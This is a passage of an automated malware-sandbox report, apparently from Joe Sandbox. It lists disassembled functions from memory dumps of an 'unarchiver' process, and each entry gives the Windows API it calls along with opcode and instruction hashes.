Instruction Fuzzy Hash: 2931D17240D3C06FD3138B358C61BA2BFB4EF47620F1981DBD9848F293D225A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0132AB96, Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0132AC13

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9579b0826ea05ce8c2752cef01d767b3bb3e32fb5ad2de3068a689ab5d4a76cc
Instruction ID: d5cbf9e45f666d52e53c40a83b3bab28b116f26b2974b32feecb48ad2addef3e
Opcode Fuzzy Hash: 9579b0826ea05ce8c2752cef01d767b3bb3e32fb5ad2de3068a689ab5d4a76cc
Instruction Fuzzy Hash: 3621A172500204AFEB21DF69DC84F6BFBECEF04714F14886AEA45DB551D770A5148BB1

Uniqueness

Uniqueness Score: -1.00%

Function 0132B0E2, Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0132B15F

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b681ad9252bcbb258b4dc36288fb5307e15a629024d58956878b603e888f100f
Instruction ID: bab76f1906d40356f69fd3c81fbad44c7f6786d6cdc63739592dca677ae2f1a9
Opcode Fuzzy Hash: b681ad9252bcbb258b4dc36288fb5307e15a629024d58956878b603e888f100f
Instruction Fuzzy Hash: 31219072500204AFEB219F69DC84F6AFBACEF04314F14886AEA459B651D770A5049B71

Uniqueness

Uniqueness Score: -1.00%

Function 0132A77C, Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,00000E2C,97B9642F,00000000,00000000,00000000,00000000), ref: 0132A80A

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7dd65aa30b2329333b7dd46a260562e2042da7027d999d96055a3da29eaa76c3
Instruction ID: a656ec1622e7e3b4bce31eb398c400d62022b95f320de7050810688b158f3fa7
Opcode Fuzzy Hash: 7dd65aa30b2329333b7dd46a260562e2042da7027d999d96055a3da29eaa76c3
Instruction Fuzzy Hash: 82218371509380AFEB128B65DC84F66BFB8EF46714F1884EAFD849F153D264A809C771

Uniqueness

Uniqueness Score: -1.00%

Function 0132A85F, Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000E2C,97B9642F,00000000,00000000,00000000,00000000), ref: 0132A8ED

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 77c94bb036e2b370e2a6eca64d0c3f9274af4eb13d0702276b53c5d267b703bc
Instruction ID: f866c0c82ec18ee2e3761d69150ac2b639af6605f50911fc1bbe0c528d2f1f3c
Opcode Fuzzy Hash: 77c94bb036e2b370e2a6eca64d0c3f9274af4eb13d0702276b53c5d267b703bc
Instruction Fuzzy Hash: DC219271509384AFDB228F65DC84F96BFB8EF06310F0884AAEA849F153C375A409CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0132A52A, Relevance: 1.6, APIs: 1, Instructions: 76
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0132A5A9

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c9cba36786fcf2c1d3ba3b8a12683ef17262f2950b26e61c6ef44f759dc4c334
Instruction ID: de766539af2d5e96ab66357bb8614d74eb80cfecbdfe618f93cb289d34280933
Opcode Fuzzy Hash: c9cba36786fcf2c1d3ba3b8a12683ef17262f2950b26e61c6ef44f759dc4c334
Instruction Fuzzy Hash: C5218EB1500644EFEB21DF69DC84B66FBE8EF08314F148469E9858B652D771E404CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0132A6BB, Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,00000E2C,97B9642F,00000000,00000000,00000000,00000000), ref: 0132A741

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 88cf1b1c0268e15733aa11b426f6128769fd8f8bce8ded5cc7aca2e879b94e03
Instruction ID: 08bd12a20dcac58f27f306d59e85b5c18b7872a04a3f9bac03b91f798a113c0f
Opcode Fuzzy Hash: 88cf1b1c0268e15733aa11b426f6128769fd8f8bce8ded5cc7aca2e879b94e03
Instruction Fuzzy Hash: 3221D5B54083806FE7128B65DC80BA6BFB8DF46714F1880DBEA849F153D264A909D771

Uniqueness

Uniqueness Score: -1.00%

Function 0132A600, Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0132A674

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 41c1872948c1323b2f40657d082ceeb0832d40a66935a0e8644eb9359e50ce45
Instruction ID: 7817973ed39c86747b2594eb5d82444a6bae83d779feff43c8c041c0746893cd
Opcode Fuzzy Hash: 41c1872948c1323b2f40657d082ceeb0832d40a66935a0e8644eb9359e50ce45
Instruction Fuzzy Hash: E721C6B55097C09FD7138B29DC54792BFB4EF56224F0884EBDC858F653D2649908C761

Uniqueness

Uniqueness Score: -1.00%

Function 0132A448, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0132A4AF

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: e45a96275a1b8b0ac70c042f7e6e4c7dda50bb5926d46d3065d95c21c16d7207
Instruction ID: c130d4a9a64ac688513fb164539715b478e96eca047a6c45bbaebce4bcaf12e3
Opcode Fuzzy Hash: e45a96275a1b8b0ac70c042f7e6e4c7dda50bb5926d46d3065d95c21c16d7207
Instruction Fuzzy Hash: 191196715093809FD711CF69DC45B56BFE8EF06224F0880AEED45DF652D274E804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0132A88E, Relevance: 1.6, APIs: 1, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000E2C,97B9642F,00000000,00000000,00000000,00000000), ref: 0132A8ED

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 805bec6fff1d8365dfd565b3b85450503bcfe95d0cf2b6e755b5b3139b76d4ad
Instruction ID: 55b8e9efc54753d09c1964952cd25ffcffcd3a780ae1ad1a2e2c280ee7b92a6b
Opcode Fuzzy Hash: 805bec6fff1d8365dfd565b3b85450503bcfe95d0cf2b6e755b5b3139b76d4ad
Instruction Fuzzy Hash: AB11E771500204EFEB21DF95DC80F56FFA8EF44314F14846AEE459B641C774A404CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0132A7AE, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000E2C,97B9642F,00000000,00000000,00000000,00000000), ref: 0132A80A

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 692889776cb7f3a344b90b68717ea8f7fafada32407d58b8c97c45dd7f19f382
Instruction ID: 5eb180e4ad3a818fbdc5608c3c6a4afc2ada27edecc1767789bc8d49ee86098a
Opcode Fuzzy Hash: 692889776cb7f3a344b90b68717ea8f7fafada32407d58b8c97c45dd7f19f382
Instruction Fuzzy Hash: C611A371900204AFEB21DF59DC84F66FFA8EF44724F14C46AEE459B642D774A405CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0132A1F4, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0132A290

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: de03cff00f2a5776b64dc90ca9148e3104ddb7f84f620c0e31cb3afa733500f0
Instruction ID: 401d67fb261a5fe69932556bb7c00dc56d03eddcb71746d3535815ecad5681f2
Opcode Fuzzy Hash: de03cff00f2a5776b64dc90ca9148e3104ddb7f84f620c0e31cb3afa733500f0
Instruction Fuzzy Hash: 56112B3550D3C08FD7538B25D894750BFB0EF03224F1D84EBC9888F6A3C26A9949CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0132B020, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0132B074

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: d0a3e12f29a19862238a783003a23c1733a0db87e6418bc5f8384c8e4ecc8c27
Instruction ID: bef6379484b5b938bd14cc0a070d4b942b84655e5fde8d334240ee4d6ad0a360
Opcode Fuzzy Hash: d0a3e12f29a19862238a783003a23c1733a0db87e6418bc5f8384c8e4ecc8c27
Instruction Fuzzy Hash: 1E115A754093849FDB128F25DC84B56FFA4DF46224F18C4EAED888F253D279A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0132ADF7, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 0132AE50

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 3667fdfa9a36ef35e4cd9939ae60200a5b20bb7e024d1228c076b8f836b3ee65
Instruction ID: 341a1329b8afb07f5330b636bfd7195a9cd09137f7afe9d7bad1067f30ce1ae0
Opcode Fuzzy Hash: 3667fdfa9a36ef35e4cd9939ae60200a5b20bb7e024d1228c076b8f836b3ee65
Instruction Fuzzy Hash: EE11A0715093809FD7128B29DC45B52FFF8EF06220F09C0EBED898B263C274A848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0132A46A, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0132A4AF

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 972feec72d09f2ed69dd984e3c25bc1b36b6da4cfb7aa98f321fc44f56ce5d46
Instruction ID: 5a50498bf88400942ce0bdf492570a7faedae532973bfe10c085f52542d25d15
Opcode Fuzzy Hash: 972feec72d09f2ed69dd984e3c25bc1b36b6da4cfb7aa98f321fc44f56ce5d46
Instruction Fuzzy Hash: CA1180756042058FEB20DF69D989B66FFE8EF04224F18C4BADD49DBB42E274E404CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0132A6EE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,97B9642F,00000000,00000000,00000000,00000000), ref: 0132A741

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 0f211f8880f305fcb6d30783d8b572cd1ea974c7399e7fa56973e366fd8d69cd
Instruction ID: a1b84afd4fec71b097feba6919fc328039c7ee58303a38ffecedb25db1cacef3
Opcode Fuzzy Hash: 0f211f8880f305fcb6d30783d8b572cd1ea974c7399e7fa56973e366fd8d69cd
Instruction Fuzzy Hash: EF01F5B1500204AFE720DB59DC85F6AFFACDF44724F14C0AAEE459B641D674A404CAB5

Uniqueness

Uniqueness Score: -1.00%

Function 0132A23C, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0132A290

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 61deea1b56c355437124ae77d7bf50db640a9d0cb648eb7f261b91a379ca7ca5
Instruction ID: 7080701f6f9102bd3f2e460340c48426c5acd7762ccdb81a65285f106d000c39
Opcode Fuzzy Hash: 61deea1b56c355437124ae77d7bf50db640a9d0cb648eb7f261b91a379ca7ca5
Instruction Fuzzy Hash: 34118471409384AFDB128B15DC44B62FFB8DF46624F08C0DAED858F653D275A908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0132A172, Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000E2C,?,?), ref: 0132A1C2

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: a1ad4d643e5bc9a9a808775d88069d0d3f99f2b1bb606e58195a3066c4fb960b
Instruction ID: 141c28827e96d08974ee12e6dc9dcca6dbf41b0062cd3bf0b299f2482bc804f4
Opcode Fuzzy Hash: a1ad4d643e5bc9a9a808775d88069d0d3f99f2b1bb606e58195a3066c4fb960b
Instruction Fuzzy Hash: 4D018472900200ABD710DF1ADC85B66FBE8FF88B20F14816AED089B745E675F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0132AA52, Relevance: 1.5, APIs: 1, Instructions: 47pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNELBASE(?,00000E2C,?,?), ref: 0132AAA2

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 6fd933fcb5af6b7a7d5740ff4c499ecc986c8b58b12e3039fd3577d8f1bc7e8b
Instruction ID: 4070085ef5b054d608badf704dbe722d17f3835c88a82b9c9b120053ee164b1b
Opcode Fuzzy Hash: 6fd933fcb5af6b7a7d5740ff4c499ecc986c8b58b12e3039fd3577d8f1bc7e8b
Instruction Fuzzy Hash: 9A01D472900200ABD310DF1ADC85B26FBE8FF88B20F14812AED088B745E631F515CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0132A642, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0132A674

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 5cfa314f570b41170cf69157b8f44d08bdc5895f228617be35d09ce97bd14203
Instruction ID: 2d6b234ffd4aff4c0da3858b3e03bd09756656d6393f2cd40bd4992e4cfac328
Opcode Fuzzy Hash: 5cfa314f570b41170cf69157b8f44d08bdc5895f228617be35d09ce97bd14203
Instruction Fuzzy Hash: CD01DF71A002048FDB219F29D884766FFA8EF84224F08C0BADD098BA42D378A404CE61

Uniqueness

Uniqueness Score: -1.00%

Function 0132AE1E, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 0132AE50

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 126bbe00ebb3b3b3cac82021b1882b7e281cdf2f7ad336c29003805659f0b674
Instruction ID: 0d8efe31cf087d6e9db90f1dc6fb60be9037e0c3ac72d4812ac8bbe5c1f134be
Opcode Fuzzy Hash: 126bbe00ebb3b3b3cac82021b1882b7e281cdf2f7ad336c29003805659f0b674
Instruction Fuzzy Hash: 3701FF756002448FEB109F19E885766FFA8EF44324F08C0AADD498BB52D274E808CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0132B042, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0132B074

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 8e0425bcbaf363a552c9420be10bd9d06b83ead3613cf1da911905b3959de84d
Instruction ID: 13ef6b851c1b6eff57ad4bca2e55b881d73c096674c78c5179acd3b46a45db78
Opcode Fuzzy Hash: 8e0425bcbaf363a552c9420be10bd9d06b83ead3613cf1da911905b3959de84d
Instruction Fuzzy Hash: BD01D175900244DFDB11DF29E884766FFA4EF44324F18C4AADE588F24AD379A408CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0132A25E, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0132A290

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 57bd2e7f58dd8ee31f936315eb69b464cb9bd2db5ff975e16510751b8dd52dc3
Instruction ID: 1550abfe06a9c23544cb7da96524d0e62fe2b2cc8dd64ee83c2e60a78cfb4c9a
Opcode Fuzzy Hash: 57bd2e7f58dd8ee31f936315eb69b464cb9bd2db5ff975e16510751b8dd52dc3
Instruction Fuzzy Hash: 81F0FF318043148FDB10DF09D884721FFE4EF09324F18C0AADD480BB42D276A408CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D00870, Relevance: 1.0, Instructions: 978COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.363126277.0000000002D00000.00000040.00000040.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d00000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2365879d0b2d13f5a108051256e9941b81c25e4e606b25ce52a49ed78fe86cc9
Instruction ID: 69e906b92d69cedd853780b0377940eb6c9ff794e7721a72f6c48ca1457666c3
Opcode Fuzzy Hash: 2365879d0b2d13f5a108051256e9941b81c25e4e606b25ce52a49ed78fe86cc9
Instruction Fuzzy Hash: B211976550E2C05FDB038B2458D04D5BFB0DD83221B0A8ADBC484CB9A3D61D195FC3A3

Uniqueness

Uniqueness Score: -1.00%

Function 02CF0C30, Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.363029011.0000000002CF0000.00000040.00000001.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2cf0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d128c00adfc4de4a0ebaa5a8834abe693841e377dfdf886ff0ce689e84fdf3b8
Instruction ID: bfe11d0b73873d24fb8fef6e2ae6352f54a745aaf2ca04f8348183b5c40ab359
Opcode Fuzzy Hash: d128c00adfc4de4a0ebaa5a8834abe693841e377dfdf886ff0ce689e84fdf3b8
Instruction Fuzzy Hash: 9251E370E422099FCB18DFB9D480AAEBBB2FF8A704F209469E405B7350DB399941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02CF0AD8, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.363029011.0000000002CF0000.00000040.00000001.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2cf0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b3ae5be9c8c47eb9f5d4ece17810de6f38703112f4d329265840b1b15cce9d
Instruction ID: dd39cd32393837ca7b78aaf137eb8d8bc44d585f877f0b9d0fb88e9101a08722
Opcode Fuzzy Hash: a4b3ae5be9c8c47eb9f5d4ece17810de6f38703112f4d329265840b1b15cce9d
Instruction Fuzzy Hash: 66212575E05208DFCB04DFA9D4446EEFBB6FB89304F20912AE504A3254DB74AE46CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02D007F8, Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.363126277.0000000002D00000.00000040.00000040.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d00000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa0e58c66c3f5d539ece8afee9476e5a2cb27f8666efcd5c8f26f624b672883e
Instruction ID: 8fc12ed273402c0da3053892d05454484e0820288b79617ea1a093215993eb5a
Opcode Fuzzy Hash: fa0e58c66c3f5d539ece8afee9476e5a2cb27f8666efcd5c8f26f624b672883e
Instruction Fuzzy Hash: B40171B2409784AFD701CB19AC41857FFF8DF96620B08C56EED498A202D27569188BB2

Uniqueness

Uniqueness Score: -1.00%

Function 02D005CF, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.363126277.0000000002D00000.00000040.00000040.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d00000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7d56b1bdb5bb20b9ef1efc2dda92a6d14774d5aadfee056a524e29909de44c9
Instruction ID: 70a70006d2f65214926c8617e4ab3f5b0c8e6970bdad145d4ea9283c8f55c937
Opcode Fuzzy Hash: e7d56b1bdb5bb20b9ef1efc2dda92a6d14774d5aadfee056a524e29909de44c9
Instruction Fuzzy Hash: 0201D6B65083805FD7128F06EC40862FFF8EF86220749C0AFEC898B612D225B808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02CF0E38, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.363029011.0000000002CF0000.00000040.00000001.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2cf0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3029643c1682bb7bfcc013afc03ef5b512c70a1ff3cdfc1d02df636820ad51f
Instruction ID: 5eab571ce830c22c6097415d951a02fbbd5ba8b19127f525b3349c2577053226
Opcode Fuzzy Hash: e3029643c1682bb7bfcc013afc03ef5b512c70a1ff3cdfc1d02df636820ad51f
Instruction Fuzzy Hash: AE012270C06349CFCB48EFB4D4947AEBBB1AB02305F2064AAC400BB291D7789A84CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02CF0E48, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.363029011.0000000002CF0000.00000040.00000001.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2cf0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e610363a9d02713c17ade246a612bbb8d42eda29d50321e71057f5dd625ace1
Instruction ID: 5e91118ce72b38806117c1b54135c133f17642788f09dea1d5bc959aa531f386
Opcode Fuzzy Hash: 8e610363a9d02713c17ade246a612bbb8d42eda29d50321e71057f5dd625ace1
Instruction Fuzzy Hash: 9A01DD70D02209DFCB48EFB4D0457AEBBB2AB45305F20A5A9C40577390D779AA85CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02CF0BBF, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.363029011.0000000002CF0000.00000040.00000001.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2cf0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a47ec063106387771b9299d5744282273d594f5bca5c6f54e2a3c65448f0c3
Instruction ID: 267e519a508fad899887b9948fd985e02fc3f568a9b6f497e6bd7d14dd3c4c5e
Opcode Fuzzy Hash: a6a47ec063106387771b9299d5744282273d594f5bca5c6f54e2a3c65448f0c3
Instruction Fuzzy Hash: 1C0119B4D08209DFCB44EFA9C5456AEBBF1FF85700F1084AAD449A3344EB746A04CB65

Uniqueness

Uniqueness Score: -1.00%

Function 02D0081E, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.363126277.0000000002D00000.00000040.00000040.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d00000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 145075623af05f212854879cf0cd85c903d803994c30b28483f620a607a57c38
Instruction ID: 4a4707525babea71338a40a5f65bd348c411d675f0419df33f18abc3177c4d94
Opcode Fuzzy Hash: 145075623af05f212854879cf0cd85c903d803994c30b28483f620a607a57c38
Instruction Fuzzy Hash: 6DF0A7B29456046FD240DF09EC41856F7ECDF94621F14C53FED088B300E676B9144AF2

Uniqueness

Uniqueness Score: -1.00%

Function 02D005F6, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.363126277.0000000002D00000.00000040.00000040.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d00000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 997c364ec2a0d659645dac321e0c2908aeedcf72514450c0757cd4b47afa8545
Instruction ID: 9c88c167c46db364e341f5ad2c6ab542f5fd28ee75fa3a750be010ff8edc6619
Opcode Fuzzy Hash: 997c364ec2a0d659645dac321e0c2908aeedcf72514450c0757cd4b47afa8545
Instruction Fuzzy Hash: E7E092B66406008BD650CF0AEC81452FBD8EB88630718C47FDC0D8B701D135B504CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 013223F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

